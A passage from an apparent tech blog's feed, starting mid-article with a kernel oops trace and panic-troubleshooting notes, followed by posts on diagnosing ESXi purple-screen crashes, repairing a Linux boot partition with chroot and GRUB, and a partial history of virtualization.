&lt;code&gt;printing eip:&lt;/code&gt;&lt;br&gt;
&lt;code&gt;f89e568b&lt;/code&gt;&lt;br&gt;
&lt;code&gt;*pde = 32859002&lt;/code&gt;&lt;br&gt;
&lt;code&gt;*pte = 00000000&lt;/code&gt;&lt;br&gt;
&lt;code&gt;&amp;lt;strong&amp;gt;Oops&amp;lt;/strong&amp;gt;: 0000&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Kernel 2.4.9-31enterprise&lt;/code&gt;&lt;br&gt;
&lt;code&gt;CPU: 1&lt;/code&gt;&lt;br&gt;
&lt;code&gt;EIP: 0010:[] Tainted: PF&lt;/code&gt;&lt;br&gt;
&lt;code&gt;EFLAGS: 00010096&lt;/code&gt;&lt;br&gt;
&lt;code&gt;EIP is at _dlgn_setevmask [streams-dlgnDriver] 0xe&lt;/code&gt;&lt;br&gt;
&lt;code&gt;eax: 00000000 ebx: f65f5410 ecx: f5e17710 edx: f65f5410&lt;/code&gt;&lt;br&gt;
&lt;code&gt;esi: 00001ea0 edi: f5e23c30 ebp: f65f5410 esp: f1cf7e78&lt;/code&gt;&lt;br&gt;
&lt;code&gt;ds: 0018 es: 0018 ss: 0018&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Process pwcallmgr (pid: 10334, stackpage=f1cg7000)&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Stack: 00000000 c01067fa 00000086 f1cf7ec0 00001ea0 f5e23c30 f65f5410 f89e53ec&lt;/code&gt;&lt;br&gt;
&lt;code&gt;f89fcd60 f5e16710 f65f5410 f65f5410 f8a54420 f1cf7ec0 f8a4d73a 0000139e&lt;/code&gt;&lt;br&gt;
&lt;code&gt;f5e16710 f89fcd60 00000086 f5e16710 f5e16754 f65f5410 0000034a f894e648&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Call Trace: [setup_sigcontext+218/288] setup_sigcontext [kernel] 0xda&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Call Trace: [] setup_sigcontext [kernel] 0xda&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] dlgnwput [streams-dlgnDriver] 0xe8&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] Sm_Handle [streams-dlgnDriver] 0×1ea0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] intdrv_lock [streams-dlgnDriver] 0×0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] Gn_Maxpm [streams-dlgnDriver] 0×8ba&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] Sm_Handle [streams-dlgnDriver] 0×1ea0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] lis_safe_putnext [streams] 0×169&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] __insmod_streams-dvbmDriver_S.bss_L117376 [streams-dvbmDriver] 0xab8 [] dvbmwput [streams-dvbmDriver] 0×6f5&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] dvwinit [streams-dvbmDriver] 0×2c0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] lis_safe_putnext [streams] 0×168&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] lis_strputpmsg [streams] 0×54c&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] __insmod_streams_S.rodata_L35552 [streams] 0×182e&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] sys_putpmsg [streams] 0×6f&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[system_call+51/56] system_call [kernel] 0×33&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] system_call [kernel] 0×33&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Jul 12 15:07:18 talus kernel:&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Jul 12 15:07:18 talus kernel:&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Code: 8b 70 0c 8b 06 83 f8 20 8b 54 24 20 8b 6c 24 24 76 1c 89 5c&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;25-hard-kernel-panic--troubleshooting-without-a-full-trace&#34;&gt;2.5 Hard kernel panic – Troubleshooting without a full trace&lt;/h2&gt;
&lt;p&gt;If only a partial stack trace is available, it can be tricky to isolate the root cause, since there is no explicit information about what module of function call caused the panic. Instead, only commands leading up to the final command will be seen in a partial stack trace. In this case, it is very important to collect as much information as possible about what happened leading up to the kernel panic (application logs, library traces, steps to reproduce, etc).&lt;/p&gt;
&lt;p&gt;Partial trace example (note there is no line with &lt;code&gt;EIP&lt;/code&gt; information):&lt;br&gt;
&lt;code&gt;[] ip_rcv [kernel] 0×357&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] sramintr [streams_dlgnDriver] 0×32d&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] lis_spin_lock_irqsave_fcn [streams] 0×7d&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] inthw_lock [streams_dlgnDriver] 0×1c&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] pwswtbl [streams_dlgnDriver] 0×0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] dlgnintr [streams_dlgnDriver] 0×4b&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] Gn_Maxpm [streams_dlgnDriver] 0×7ae&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] __run_timers [kernel] 0xd1&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] handle_IRQ_event [kernel] 0×5e&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] do_IRQ [kernel] 0xa4&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] default_idle [kernel] 0×0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] default_idle [kernel] 0×0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] call_do_IRQ [kernel] 0×5&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] default_idle [kernel] 0×0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] default_idle [kernel] 0×0&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] default_idle [kernel] 0×2d&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] cpu_idle [kernel] 0×2d&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] __call_console_drivers [kernel] 0×4b&lt;/code&gt;&lt;br&gt;
&lt;code&gt;[] call_console_drivers [kernel] 0xeb&lt;/code&gt;&lt;br&gt;
&lt;code&gt;Code: 8b 50 0c 85 d2 74 31 f6 42 0a 02 74 04 89 44 24 08 31 f6 0f&lt;/code&gt;&lt;br&gt;
&lt;code&gt;&amp;lt;0&amp;gt; Kernel panic: &amp;lt;strong&amp;gt;Aiee&amp;lt;/strong&amp;gt;, killing interrupt handler!&lt;/code&gt;&lt;br&gt;
&lt;code&gt;In interrupt handler – not syncing&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If only a partial trace is available and the supporting information is not sufficient to isolate root cause, it may be useful to use KDB. KDB (Kernel Debugger) is a tool that is compiled into the kernel that causes the kernel to break into a shell rather than lock up when a panic occurs. This enables you to collect additional information about the panic, which is often useful in determining root cause.&lt;/p&gt;
&lt;h1 id=&#34;3-troubleshooting-soft-kernel-panic&#34;&gt;3. Troubleshooting Soft Kernel Panic&lt;/h1&gt;
&lt;h2 id=&#34;31-symptoms-of-a-soft-kernel-panic&#34;&gt;3.1 Symptoms of a soft kernel panic&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Much less severe than hard panic.&lt;/li&gt;
&lt;li&gt;Usually results in a segmentation fault&lt;/li&gt;
&lt;li&gt;Can see an oops message – search &lt;code&gt;/var/log/messages&lt;/code&gt; for string &lt;code&gt;Oops&lt;/code&gt; (see the full trace above)&lt;/li&gt;
&lt;li&gt;Machine still somewhat usable (but should be rebooted after information is collected); machine might be really slow/unresponsive, but still operable&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;32-soft-kernel-panic-signature-causes&#34;&gt;3.2 Soft kernel panic signature causes&lt;/h2&gt;
&lt;p&gt;Almost anything that causes a module to crash when it is not within an interrupt handler can cause a soft panic. In this case, the driver itself will crash, but will not cause catastrophic system failure since it was not locked in the interrupt handler. The same possible causes exist for soft panics as do for hard panics (i.e. accessing a null pointer during runtime).&lt;/p&gt;
&lt;h3 id=&#34;soft-kernel-panic--information-to-collect&#34;&gt;Soft kernel panic – information to collect&lt;/h3&gt;
&lt;p&gt;When a soft panic occurs, the kernel will generate a dump that contains kernel symbols – this information is logged in &lt;code&gt;/var/log/messages&lt;/code&gt;. To begin troubleshooting, use the ksymoops utility to turn kernel symbols into meaningful data. To generate a ksymoops file:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create new file from text of stack trace found in &lt;code&gt;/var/log/messages&lt;/code&gt;. Make sure to strip off timestamps, otherwise ksymoops will fail&lt;/li&gt;
&lt;li&gt;Run ksymoops on new stack trace file:&lt;br&gt;
Generic: &lt;code&gt;ksymoops -o [location of Dialogic drivers] filename&lt;/code&gt;&lt;br&gt;
Example: &lt;code&gt;ksymoops -o /lib/modules/2.4.18-5/misc ksymoops.log&lt;/code&gt;&lt;br&gt;
All other defaults should work fine&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here’s the full &lt;a href=&#34;http://gd.tuwien.ac.at/linuxcommand.org/man_pages/ksymoops8.html&#34;&gt;ksymoops&lt;/a&gt; manual page.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Investigating ESXi PSOD crashes</title>
      <link>/posts/191201-investigating-psod/</link>
      <pubDate>Sun, 01 Dec 2019 00:00:00 +0000</pubDate>
      
      <guid>/posts/191201-investigating-psod/</guid>
      <description>AH! It’s PSOD! Let’s all run around and scream in terror as the apocalypse is upon us!
Well, not really.
A Purple Screen of Death (PSOD) is a diagnostic screen with white/grayish type on a purple background that is displayed when the VMkernel experiences a critical error, freezes and kills all running VMs.
Typically, the PSOD details the memory state at the time of the crash and includes other information (ESXi version+build, exception type, register dump, core dump, information etc.</description>
      <content>&lt;p&gt;AH! It’s &lt;code&gt;PSOD&lt;/code&gt;! Let’s all run around and scream in terror as the apocalypse is upon us!&lt;/p&gt;
&lt;p&gt;Well, not really.&lt;/p&gt;
&lt;p&gt;A Purple Screen of Death (PSOD) is a diagnostic screen with white/grayish type on a purple background that is displayed when the VMkernel experiences a critical error, freezes and kills all running VMs.&lt;/p&gt;
&lt;p&gt;Typically, the PSOD details the memory state at the time of the crash and includes other information (ESXi version+build, exception type, register dump, core dump, information etc.).&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/191201-investigating-psod/psod.png&#34; alt=&#34;psod&#34;&gt;&lt;/p&gt;
&lt;p&gt;The core dump (or memory dump) is a file that contains further diagnostic information from a PSOD that can be given to VMware support to determine a root cause analysis for the failure.&lt;/p&gt;
&lt;p&gt;The term – Purple Screen of Death – is a play on the Blue Screen of Death, the informal name given by users to the Windows general protection fault (GPF) error. You might have heard similar names given to different computer equipment errors such as RROD (Red Ring of Death – PlayStation 3/4) or GROD (Green Ring of Death – Xbox 360/One)&lt;/p&gt;
&lt;p&gt;While one would figure PSOD is always caused by the hardware, it also could be software related. Please keep in mind, in this post we are going to assume the host can boot up and be connected to either vCenter or VI Client.&lt;/p&gt;
&lt;h1 id=&#34;troubleshooting&#34;&gt;Troubleshooting&lt;/h1&gt;
&lt;p&gt;Firstly, we need to reboot the host – there’s little to nothing you can do when it’s PSOD’ing. You might want to take a photo of the PSOD before the reboot just in case it would be needed later on.&lt;/p&gt;
&lt;p&gt;After the reboot finished, you should try getting the logs off it – it might be unstable to you need to be quick. This can be done either through vSphere or vSphere Client (ESXi &amp;amp; vCS 6.0 and older). Log into either and right click on the host and select “Export &amp;gt; Export System Logs”. In the following window, choose all the logs available and a location to which the logs should be saved. Clicking &lt;code&gt;Next&lt;/code&gt; will start the export process.&lt;/p&gt;
&lt;p&gt;The logs will be double compressed (zipped), so you’ll need to extract them twice (nested archiving lol). The file structure after the extraction will look similar to this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/191201-investigating-psod/Screenshot-from-2018-06-22-11-46-59.png&#34; alt=&#34;Screenshot-from-2018-06-22-11-46-59&#34;&gt;&lt;/p&gt;
&lt;p&gt;The logs we are interested in (vmkernel-zdump’s) should be located in the following folder &lt;code&gt;/var/core/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;These logs – vmkernel-zdump* – are a direct copy of the memory content at the time of PSOD. Use an editor such as Notepad++ (Windows) or Sublime Text (Linux) to open them. At this point, you can use the search function in your text editor to look for phrases such as &lt;code&gt;error&lt;/code&gt;, &lt;code&gt;fail&lt;/code&gt; or &lt;code&gt;panic&lt;/code&gt; – you should be able to see a corresponding error codes next to these words which you can then google to troubleshoot the root cause of the PSOD. At the same time you can run a memory diagnostics on your host and find the offending memory modules.&lt;/p&gt;
&lt;h1 id=&#34;manual-dumping&#34;&gt;Manual Dumping&lt;/h1&gt;
&lt;p&gt;If you end up finding none &lt;code&gt;vmkernel-zdump*&lt;/code&gt; files in the &lt;code&gt;core&lt;/code&gt; folder, you can try the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log into the affected host and look at your disk and find the “Unknown” partition (i.e. &lt;code&gt;/dev/cciss/c0d0p9&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Run the command:&lt;br&gt;
&lt;code&gt;fdisk -l /dev/cciss/c0d0&lt;/code&gt;
Which will return something similar to:
&lt;code&gt;Disk /dev/cciss/c0d0: 146.7 GB, 146778685440 bytes 255 heads, 63 sectors/track, 17844 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes&lt;/code&gt;
&lt;code&gt;Device Boot Start End Blocks Id System /dev/cciss/c0d0p1 * 1 65 522081 83 Linux /dev/cciss/c0d0p2 66 1370 10482412+ 83 Linux /dev/cciss/c0d0p3 1371 1631 2096482+ 82 Linux swap /dev/cciss/c0d0p4 1632 17844 130230922+ f Win95 Ext’d (LBA) /dev/cciss/c0d0p5 1632 1892 2096451 83 Linux /dev/cciss/c0d0p6 1893 2153 2096451 83 Linux /dev/cciss/c0d0p7 2154 2414 2096451 83 Linux /dev/cciss/c0d0p8 2415 2479 522081 83 Linux /dev/cciss/c0d0p9 2480 2493 112423+ fc Unknown&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Next, run the this command to get the memory dump:&lt;br&gt;
&lt;code&gt;vmkdump -d /dev/cciss/c0d0p9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Afterwards, dump the binary dump to a useful log:&lt;br&gt;
&lt;code&gt;vmkdump -l vmkernel-zdump.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Finally, analyze the dump (or connect to the host through sftp to download the resulting file to your troubleshooting workstation):&lt;br&gt;
&lt;code&gt;tail -20 vmkernel-log.1&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
    </item>
    
    <item>
      <title>Fixing Linux Boot</title>
      <link>/posts/191101-fixing-linux-boot/</link>
      <pubDate>Fri, 01 Nov 2019 00:00:00 +0000</pubDate>
      
      <guid>/posts/191101-fixing-linux-boot/</guid>
      <description>If your laptop/PC/virtual machine running Linux is booting straight to BIOS, it might indicate there’s something wrong with your boot partition (/boot). In this post I’m going to learn you a thing or two about fixing said /boot partition and recovering a broken Linux system.
Before we start, let me say just one thing – no all steps are necessary for all boot issues; think about applying any of them.</description>
      <content>&lt;p&gt;If your laptop/PC/virtual machine running Linux is booting straight to BIOS, it might indicate there’s something wrong with your boot partition (/boot). In this post I’m going to learn you a thing or two about fixing said /boot partition and recovering a broken Linux system.&lt;/p&gt;
&lt;p&gt;Before we start, let me say just one thing – no all steps are necessary for all boot issues; think about applying any of them.&lt;/p&gt;
&lt;h1 id=&#34;rescuing-the-penguin&#34;&gt;Rescuing the Penguin&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;To begin, create a Linux Live CD or USB. To do that, download a iso containing Linux Live OS (ArchLinux, Ubunutu, Fedora Workstation – all of these are capable of live boot). You can create Live USB stick using Rufus on Windows or dd command on Linux/MacOS. In case of a VM, attach the Arch/Ubuntu/Fedora iso file to its Disk Drive.&lt;/li&gt;
&lt;li&gt;Plug your Live USB/CD into the affected machine and select it as a boot device in BIOS/UEFI.&lt;/li&gt;
&lt;li&gt;Once you’re in, connect to the network and open up terminal (if you’re using a distro with GUI). On non-GUI distros (Arch), you can use &lt;code&gt;wifi-menu&lt;/code&gt; command to connect to a Wi-Fi network. IN Arch’s case, remember to run &lt;code&gt;dhcpcd&lt;/code&gt; to get the IP configuration from DHCP or configure a static IP address and default route with &lt;code&gt;ip&lt;/code&gt; and &lt;code&gt;route&lt;/code&gt; commands.&lt;/li&gt;
&lt;li&gt;Now we need to mount the OS with the broken &lt;code&gt;/boot&lt;/code&gt; partition on our Live OS. To do that, firstly we need to figure out the partitioning of the OS in question.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id=&#34;examining-partitions&#34;&gt;Examining Partitions&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Run&lt;code&gt; fdisk -l&lt;/code&gt; to view all the drives and partitions detected by the Live OS (if your not logged in as root, remember to add &lt;code&gt;sudo&lt;/code&gt; switch before the command: &lt;code&gt;sudo fdisk -l&lt;/code&gt;); the output will look similar to this:
&lt;code&gt;Disk /dev/sda: 238.5 GiB, 256060514304 bytes, 500118192 sectors&lt;/code&gt;
&lt;code&gt;Units: sectors of 1 * 512 = 512 bytes&lt;/code&gt;
&lt;code&gt;Sector size (logical/physical): 512 bytes / 512 bytes&lt;/code&gt;
&lt;code&gt;I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;/code&gt;
&lt;code&gt;Disklabel type: gpt&lt;/code&gt;
&lt;code&gt;Disk identifier: 4BEA7577-501A-43AC-A861-4C4CF6FC4EB3&lt;/code&gt;
&lt;code&gt;Device Start End Sectors Size Type&lt;/code&gt;
&lt;code&gt;/dev/sda1 2048 2099199 2097152 1G EFI System&lt;/code&gt;
&lt;code&gt;/dev/sda2 2099200 211814399 209715200 100G Linux filesystem&lt;/code&gt;
&lt;code&gt;/dev/sda3 211814400 421529599 209715200 100G Linux filesystem&lt;/code&gt;
&lt;code&gt;/dev/sda4 421529600 466593791 45064192 21.5G Linux filesystem&lt;/code&gt;
&lt;code&gt;/dev/sda5 466593792 500118158 33524367 16G Linux swap&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Let’s break it down: on this file system we’ve got a drive called sda with 5 partitions: sda1, sda2, sda3, sda4 &amp;amp; sda5. As I’ve installed this system myself, I know exactly what part of the OS is on which partition:
&lt;code&gt;/dev/sda1&lt;/code&gt; = &lt;code&gt;/boot&lt;/code&gt;
&lt;code&gt;/dev/sda2&lt;/code&gt; = &lt;code&gt;/root&lt;/code&gt;
&lt;code&gt;/dev/sda3&lt;/code&gt; = &lt;code&gt;/home&lt;/code&gt;
&lt;code&gt;/dev/sda4&lt;/code&gt; = &lt;code&gt;/var&lt;/code&gt;
&lt;code&gt;/dev/sda5&lt;/code&gt; = &lt;code&gt;swap&lt;/code&gt;
If you are unsure what’s on each partition on your disk, you can try mounting them individually to &lt;code&gt;/mnt&lt;/code&gt; (example: &lt;code&gt;sudo mount /dev/sda1 /mnt&lt;/code&gt;) and then browsing the &lt;code&gt;/mnt&lt;/code&gt;.
There are some simple rules how to identify different partitions:
– if the partition contains only files such as &lt;code&gt;linux.efi&lt;/code&gt;, &lt;code&gt;linux.img&lt;/code&gt;, &lt;code&gt;linux.img.cnf&lt;/code&gt; and folders such as &lt;code&gt;grub&lt;/code&gt; or &lt;code&gt;linux&lt;/code&gt; – it’s probably a &lt;code&gt;/boot&lt;/code&gt;&lt;br&gt;
– if the partition contains folders such as &lt;code&gt;bin&lt;/code&gt;, &lt;code&gt;etc&lt;/code&gt;, &lt;code&gt;home&lt;/code&gt;, &lt;code&gt;boot&lt;/code&gt;, &lt;code&gt;var&lt;/code&gt; etc. – it’s the &lt;code&gt;/root&lt;/code&gt; partition&lt;br&gt;
– if the partition contains folders named after the existing users (&lt;code&gt;paul&lt;/code&gt;, &lt;code&gt;admin&lt;/code&gt;, &lt;code&gt;user2&lt;/code&gt; etc.) – it’s more than likely it’s &lt;code&gt;/home&lt;/code&gt;&lt;br&gt;
– if the partition contains strange folders and files (with even stranger extensions) – it’s &lt;code&gt;/var&lt;/code&gt;&lt;br&gt;
– if you won’t be able to browse the partition – it’s &lt;code&gt;/swap&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once you know how your partition scheme looks like, we can get to mounting.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Firstly, mount the root partition to &lt;code&gt;/mnt&lt;/code&gt;. In my example, the command for this is:&lt;br&gt;
&lt;code&gt;mount /dev/sda2 /mnt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Then, proceed with mounting other partitions. In my example, I had to run the following (order doesn’t matter after mounting &lt;code&gt;/root&lt;/code&gt;):&lt;br&gt;
&lt;code&gt;mount /dev/sda1 /mnt/boot&lt;/code&gt;&lt;br&gt;
&lt;code&gt;mount /dev/sda3 /mnt/home&lt;/code&gt;
&lt;code&gt;mount /dev/sda4 /mnt/var&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;As you’ve probably noticed, we do not monut the &lt;code&gt;/swap&lt;/code&gt; partition during the recovery process. Do not try to do that.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id=&#34;bringing-the-broken-os-back-life&#34;&gt;Bringing the broken OS back life&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Having all the partitions mounted, we can chroot into the broken OS. Chrooting basically changes the default location for the Live CDs root user, which makes the whole recovery process much easier. You can imagine chrooting as “logging in” to the broken OS without actually booting it.&lt;br&gt;
&lt;code&gt;arch-chroot /mnt&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Now comes the real fixing phase. When I’m troubleshooting broken &lt;code&gt;/boot&lt;/code&gt; partitions on Linux boxes, I like to re-install kernel just in case there’s something broken and update the system. In most distributions this can be easily done with the package manager. In my (Arch) example this command is:&lt;br&gt;
&lt;code&gt;pacman -Syu linux&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;After reinstalling the kernel and updating the system, we can focus now on the boot loader. In my opinion, easy solutions are always better than the hard ones, so we are going with the easy route here as well.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;re-grubbing-the-grub&#34;&gt;Re-grubbing the GRUB&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Booting a Linux system is usually done through a boot loader and on most Linux boxes the boot loader in use is GRUB2. We will begin the troubleshooting by re-installing it (substitute &lt;code&gt;pacman -S&lt;/code&gt; with your package manager of choice):&lt;br&gt;
&lt;code&gt;pacman -S grub&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Next, we need to run &lt;code&gt;grub-install&lt;/code&gt; command. This will perform some initial GRUB configuration on the &lt;code&gt;/boot&lt;/code&gt; partition. Don’t worry if you had GRUB installed before – all the settings will be overwritten.&lt;br&gt;
BIOS based systems: &lt;code&gt;grub-install --target=i386-pc /dev/sda&lt;/code&gt;&lt;br&gt;
UEFI based systems: &lt;code&gt;grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=GRUB&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Lastly, we can run the GRUB auto-configuration command; it will scan the whole disk drive looking for potential OS’es and create boot records for them. In 99 out of 100 Linux systems, there’s nothing else you need to do.&lt;br&gt;
&lt;code&gt;grub-mkconfig -o /boot/grub/grub.cfg&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There we go – you’ve learned something today. You can now safely reboot the Linux box and disconnect the Live Linux media; your system should boot up ok now.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Brief History of Virtualization</title>
      <link>/posts/191001-virtualization-brief-history/</link>
      <pubDate>Tue, 01 Oct 2019 00:00:00 +0000</pubDate>
      
      <guid>/posts/191001-virtualization-brief-history/</guid>
      <description>Virtualization is all around us these days. In the world full of clouds, hypervisors, remote desktops and many, many more “virtual” stuff, it’s very important to keep in mind how it all started. Even though it might seem like virtualization picked up only mere few years ago, it was actually around for over 50 years now! Granted, that ancient technology was nearly completely different from what we have now, but isn’t that the case with every branch of IT?</description>
      <content>&lt;p&gt;Virtualization is all around us these days. In the world full of clouds, hypervisors, remote desktops and many, many more “virtual” stuff, it’s very important to keep in mind how it all started. Even though it might seem like virtualization picked up only mere few years ago, it was actually around for over 50 years now! Granted, that ancient technology was nearly completely different from what we have now, but isn’t that the case with every branch of IT? Get yourself a nice cup of coffee and find a comfortable chair to sit on – this post will be one of the bigger ones.&lt;/p&gt;
&lt;h2 id=&#34;ibm-virtual-prehistory&#34;&gt;IBM Virtual Prehistory&lt;/h2&gt;
&lt;p&gt;Virtualization’s roots go back to the 1960s and IBM, where programmer Jim Rymarczyk was deeply involved in the first mainframe virtualization effort. In July 1, 1963 when Massachusetts Institute of Technology (MIT) announced Project MAC (Mathematics and Computation, later renamed to Multiple Access Computer). This project was funded by a $2 Million grant from DARPA to fund research into computers, specifically in the areas of Operating Systems, Artificial Intelligence, and Computational Theory. As part of this research grant, MIT needed new computer hardware capable of more than one simultaneous user and sought proposals from various computer vendors including GE and IBM.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/191001-virtualization-brief-history/ibmlogo.png&#34; alt=&#34;ibmlogo&#34;&gt;&lt;/p&gt;
&lt;p&gt;At this time, IBM was not willing to make a commitment towards a time sharing computer because they did not feel there was a big enough demand, and MIT did not want to have to use a specially modified system. GE on the other hand, was willing to make a commitment towards a time-sharing computer. For this reason MIT chose GE as their vendor of choice. The loss of this opportunity was a bit of a wake-up call for IBM who then started to take notice as to the demand for such a system. Especially when IBM heard of Bell Labs’ need for a similar system.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Jim Rymarczyk – a retired IBM Fellow (1996), he was with IBM for over 43 years, from May 1968 to January 2012. He joined IBM as a programmer in the 1960s just as the mainframe giant was inventing virtualization. While he didn’t invent virtualization, he has played a key role in advancing the technology over the past four decades. When he joined IBM on a full-time basis he was working on an experimental time-sharing system, a separate project that was phased out in favor of the CP-67 code base which he said, “was more flexible and efficient in terms of deploying VMs for all kinds of development scenarios, and for consolidating physical hardware.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In response to the need from MIT and Bell Labs, IBM designed the CP-40 main frame. The CP-40 was never sold to customers, and was only used in labs. However, it is still important since the CP-40 later evolved into the CP-67 system.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/191001-virtualization-brief-history/ibmcp67.jpg&#34; alt=&#34;ibmcp67&#34;&gt;&lt;/p&gt;
&lt;p&gt;According to a NetworkWorld article, IBM’s CP-67 software used partitioning technology to allow many applications to be run at once on a mainframe computer. While its impact was substantial for mainframe users, it took years before a direct descendant of IBM’s work came back to life on X86 platforms. Through the use of Unix, and C compilers, and adept user could run just about any program on any platform, but it still required users to compile all the software on the platform they wished to run on. For true portability of software, you needed some sort of software virtualization.&lt;/p&gt;
&lt;p&gt;In 1990, Sun Microsystems began a project known as “Stealth”. Stealth was a project run by Engineers who had become frustrated with Sun’s use of C/C++ API’s and felt there was a better way to write and run applications. Over the next several years the project was renamed several times, including names such as Oak, Web Runner, and finally in 1995, the project was renamed to Java.&lt;/p&gt;
&lt;p&gt;In 1994 Java was targeted towards the Worldwide web since Sun saw this as a major growth opportunity. The Internet is a large network of computers running on different operating systems and at the time had no way of running rich applications universally, Java was the answer to this problem. In January 1996. the Java Development Kit (JDK) was released, allowing developers to write applications for the Java Platform.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/191001-virtualization-brief-history/java.png&#34; alt=&#34;java&#34;&gt;&lt;/p&gt;
&lt;p&gt;At the time, there was no other language like Java. Java allowed you to write an application once, then run the application on any computer with the Java Run-time Environment (JRE) installed. The JRE was and still is a free application you can download from then Sun Micro-systems website, now Oracle’s website.&lt;/p&gt;
&lt;p&gt;Java works by compiling the application into something known as Java Byte Code. Java Byte Code is an intermediate language that can only be read by the JRE. Java uses a concept known as Just in Time compilation (JIT). At the time you write your program, your Java code is not compiled. Instead, it is converted into Java Byte Code, until just before the program is executed. This is similar to the way Unix revolutionized Operating systems through it’s use of the C programming language. Since the JRE compiles the software just before running, the developer does not need to worry about what operating system or hardware platform the end user will run the application on; and the user does not need to know how to compile a program, that is handled by the JRE..&lt;/p&gt;
&lt;p&gt;The JRE is composed of many components, most important of which is the Java Virtual Machine. . Whenever a java application is run, it is run inside of the Java Virtual Machine. You can think of the Java Virtual Machine is a very small operating system, created with the sole purpose of running your Java application. Since Sun/Oracle goes through the trouble of porting the Java Virtual Machine to run on various systems from your cellular phone to the servers in your Data-center, you don’t have to. You can write the application once, and run anywhere. At least that is the idea; there are some limitations.&lt;/p&gt;
&lt;p&gt;With increased complexity came expanding administrative costs driven by the need to hire more experienced IT professionals, and the need to carry out a wide variety of tasks, including Windows Server backup and recovery. These actions required more manual intervention in processes than many IT budgets could support. Server maintenance costs, especially those tied to Windows Server backup, were climbing and more personnel were required to work through an increasing number of day-to-day tasks. Just as important were the issues of how to limit the impact of server outages, improve business continuity and create more robust disaster recovery plans.&lt;/p&gt;
&lt;h2 id=&#34;vmware-conquest-of-virtualization&#34;&gt;VMware Conquest of Virtualization&lt;/h2&gt;
